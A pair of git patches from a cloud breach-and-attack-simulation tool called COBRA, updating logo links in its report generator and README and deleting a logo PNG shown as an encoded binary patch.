[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) From 02ff4e203459694056e3501f9167951388fe836b Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Wed, 10 Jul 2024 10:09:28 +0530 Subject: [PATCH 43/76] updated report logo link --- core/report.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/report.py b/core/report.py index ef8fde7..5e4ef2b 100644 --- a/core/report.py +++ b/core/report.py @@ -80,7 +80,7 @@ def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ):
- COBRA Logo + COBRA Logo

COBRA Attack Path Report

@@ -246,7 +246,7 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME):
- CNBAS Logo + CNBAS Logo

COBRA Attack Path Report

From bac946e0a0c3aab99a4ddebdc8e429481d32e2ed Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Wed, 10 Jul 2024 10:59:22 +0530 Subject: [PATCH 44/76] removed tmp logo --- README.md | 4 ++-- core/cobra-logo.png | Bin 51793 -> 0 bytes 2 files changed, 2 insertions(+), 2 deletions(-) delete mode 100644 core/cobra-logo.png diff --git a/README.md b/README.md index 6f2a39f..8e42024 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@

🚀 Cloud Offensive Breach and Risk Assessment (COBRA) Tool 👩‍💻

-

+ [![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) diff --git a/core/cobra-logo.png b/core/cobra-logo.png deleted file mode 100644 index 0e999fc146cf68a083272eeb04b0759aeced9f1d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 51793 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 